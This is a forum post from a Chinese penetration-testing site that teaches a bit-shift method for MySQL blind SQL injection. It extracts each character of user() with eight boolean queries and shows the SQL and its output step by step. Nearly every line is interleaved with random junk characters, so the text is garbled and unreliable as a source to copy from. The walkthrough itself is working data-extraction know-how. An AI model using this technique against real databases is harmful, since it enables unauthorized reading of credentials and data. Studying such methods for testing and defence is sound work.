中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位/ O4 q( ?2 B; d. s

: D2 K' v/ ^9 |- K+ l
  [5 ], W! R* \$ ]! h" S9 h( @1 N8 L% j2 \: T0 @# y
下面将以查询mysql数据库当中user()的第一位为例:/ N2 P$ l: a& C4 o' f+ \# R* h1 i

0 u+ u& F: ^* {# s0 n- L) D+ `
7 H# j+ ]# K: V8 W3 d) R2 A& t
4 }8 H' J! G8 h7 h5 t% [ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
9 e9 \( y! m6 Y$ W! A" A; F0 e+ ?" D
3 A. A( X8 k; n( k$ P. j
3 Z* L0 I, v) l# V. E$ W
首先执行如下sql语句:$ p& ^# j& P1 l9 b; u
/ u" B1 ?8 N- h* c+ E# X4 {; [' `
. s( c# S0 N' `( Y( i2 }8 X

( y( S3 d: _; E- b2 F2 R; C! umysql> select (ascii((substr(user(),1,1))) >> 7)=0;$ n  L8 g4 v$ h" f$ [9 E
* {0 p/ K" E" b0 l0 }# f. l
5 O; z$ k9 z" D

) r6 |# U9 K& M9 m6 Y  Z1 {/ C我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
: I1 {6 `; Q" l, U
$ U& \; ?' J. Q! f0 Q 3 K. @) V* k9 i2 q

5 ^7 a" G" |3 v第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1- n. U4 |* i. l; O
$ n2 U7 n5 k% [/ K
7 M* H; M6 {4 z' r. N

5 g/ Z6 _' s& ~  j如果运算结果为1,说明第一位为0,不为1
0 i. J) R# C# P* C2 d6 X' c
$ e# v# ~" D6 v' A+ s
8 z, P4 o7 r2 \) [3 {; ^2 w) l( m9 K# c5 l! t$ }
+————————————–+
* @0 W5 h0 e9 f) {( @) [7 _! l- |9 m
% j; K8 T3 ]8 j: E% W" h) B8 T3 J, p| (ascii((substr(user(),1,1))) >> 7)=0 |+ T* f0 ~' Z' m+ `7 {: h

! D! g" E: Y* N+————————————–+
/ u( X8 {* m: [' _, {. Y" L. O6 v) ]4 V& x& ~' {0 r
| 1 |$ v2 g4 b5 X9 o: G

2 {/ z9 y3 f: m( L8 K9 F/ M2 A+————————————–+
8 L9 u2 N6 D9 o' m- o% B5 t! T. R
9 B8 N# d2 o5 y1 row in set (0.00 sec)
$ z5 B% a7 S5 |8 @2 |$ j& T7 r  A4 ^# l+ Y# K! A" |- t
这样我们就确定这个8bit的ascii的第一位为0
1 U, J0 R1 E% |! f2 D
+ D; `: {( m) L% ~4 c2 c# q # B- R; _4 D- R5 z0 J( _
& b# {$ Q4 `9 j4 o
第二次我们来做6次右偏移来确定前两位, @- U9 Z7 }2 `( f
9 B$ {! t  o' M" u2 K: ^

9 }+ w6 D" n5 g# N/ `' r; h; R; |3 }
前两位可能是01或00,即依然可以与0做比较,
; [- N! f; i) O6 S
/ k+ H* Z! a: P( @! Wmysql> select (ascii((substr(user(),1,1))) >> 6)=0;2 E. s- v% A' Y
8 T/ V  Z/ ~% u7 p! T6 }8 f, y
+————————————–+
" X* ~0 J% h* w+ ~
: u- a6 C1 E" {5 H3 J9 H| (ascii((substr(user(),1,1))) >> 6)=0 |
: W4 J. ~& y! g' X# A2 F- [
) W* R' q: Y$ S3 _+————————————–+
- F. y6 q, U1 }: R5 u, n; r4 N6 K
| 0 |. [# F4 g; t. {  [8 c

. z" a: ~8 h3 s: G: l+ C$ z3 E' S+————————————–+
; F- N3 m& o4 ~+ B2 ?; {7 R9 c$ D; y) V/ m: T+ ^- X- a
1 row in set (0.00 sec)
& l: u# G3 Y' o& J* ~, p
8 x# a& l0 b, X2 y
9 L2 D) H! ^" U7 ]+ z. P8 ?; }5 C
% p8 ~6 Y0 f3 D结果为0,即第二位为1' t. s# a% s; K& L" R7 V- b3 }% n
, A% E: x6 P1 p" `, w7 R
  d- ]6 _+ O  R/ G( o  I" o! }
' W0 ~  \* ~  p. U3 q
开始猜测前三位为010或0113 M% |, O& Y" m. H! {% _
1 o! [; Q: X0 J/ Q7 W0 f1 d
3 Q6 C& Y6 x1 ?. U- i4 a2 g0 b7 W

6 @5 z# j4 |- i# U+ r1 \让我们看看010和011的ascii码是多少) `1 s' d2 b9 p/ u

8 n) x/ N7 E* h0 N8 E
$ V2 ^$ [' C, S4 ?& e6 q8 e8 I" o  P+ P, U
分别查询select b’011′ select b’010′
0 L8 H" B' Z4 p& D; t0 L! w5 A+ n2 V" m, H

+ b5 [. U/ }* d. S/ U' V
5 q, ?$ d6 B: g. E' t3 u5 i获得结果 010 = 2 011 = 3! ~5 a4 D- G% a) v# |

1 b: y8 ?. h( `& F) |/ R
) A6 Q* T( [; Q% S9 M# t0 ]: E/ [
8 Z* H7 W9 ]$ z' F( m执行如下sql:! `' t9 g8 e9 M" P8 @$ ]/ Y5 H
% u  O' v6 y7 q4 a( M1 }3 k; B. X

+ [! a9 Z& k2 G# P1 z" A
( m* C  t' s0 B/ m, \' umysql> select (ascii((substr(user(),1,1))) >> 5)=2;2 V' T3 m* }: x. h( d# H1 Y

0 X6 B: ~! I- N8 D3 h# s$ D) C" E. M+————————————–+, H1 e% W/ ~; t  U( u% }
, I4 W) Z4 o7 A& k+ L0 T& r
| (ascii((substr(user(),1,1))) >> 5)=2 |
8 p, B+ B- }, c" @4 N
0 k% x( z- L7 Y6 S  P6 v( \+————————————–+
; |2 m+ o0 e6 o/ U, _. k7 M1 [% z
5 x8 f  j8 v# g6 S% N  o+ x| 0 |
5 `" B4 {3 Y# L% j* C4 I3 N' a4 n7 h4 O2 ~
+————————————–+3 `; r7 W8 \# T! n  n
1 J+ E) P. ~3 x# S- Q3 r# d
即前三位不为010,而是011
" F4 z1 N) l8 _. O) |! W' [+ y' e% E" x. U7 Y2 v

: x; j) C3 y$ Z7 r9 J$ S1 C( J! |
, n& F# k7 p# q' H7 q7 D直到获得最后一位
' ?2 [* {# T& r% r2 U9 Z4 x/ Q( S7 p/ P" C$ i  ]0 f
" f- I4 H5 T: r- s7 [  H/ P

) K' R4 D$ U0 h( P. G最终结果为:01110010% @- n8 S' ?' y  P: b# f

- V0 U5 h2 C' P( f5 V  T& `
" a' a% |% Z. \5 m  E( l
- y4 t# l4 X' F3 y6 s# c  i4 u: K转换一下:" z% A+ q4 o( b3 T2 _! {

* L0 ~( T) X4 `' v9 q $ r* g* }- U+ Y/ T: x! F  @7 {

0 e/ @- `7 q) a; t- w! f3 Cselect b’01110010′! G2 R/ S5 F# [
; [9 g0 I1 L6 z0 R$ E/ M

  W5 P$ r% A; b0 x: _$ O' k: z2 W- m  T8 s1 r
查询结果
4 C7 C  X2 Q: l
5 b% C3 ?: I4 D) ~9 s* N7 b/ D: r" g4 e 2 O6 l7 [9 X9 n4 E& F

' T, M5 |1 j1 Z3 G% W+————-+
2 c6 X$ R# T* S+ U8 f* S/ ^  l& E) e
| b’01110010′ |& I4 H( T* j; H* F9 n

+ L, O$ B9 s/ @# ?) J+————-+
, o, d% z- o0 M
8 p" s6 \4 g9 Y$ || r |, Y4 s- s/ a1 `' l' ?

) b& r0 g2 z, m# x+ Q- z/ I+————-+- t% D% t9 s- W' X1 h9 U9 x

% U$ [- L6 V9 Y0 C8 ~! X& E3 m1 row in set (0.00 sec)% a- P* k, }) R7 o

) p/ W: V; r' a" t& ^( Q * [2 M" t" s* e/ M' v: u8 n

! r: V- s4 `! h. P6 L4 T9 x& |( g这样我们就获得了user()的第一位.其它位依此类推
6 ~0 n5 P9 A  M
& j$ o6 j: S( B, `: U




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2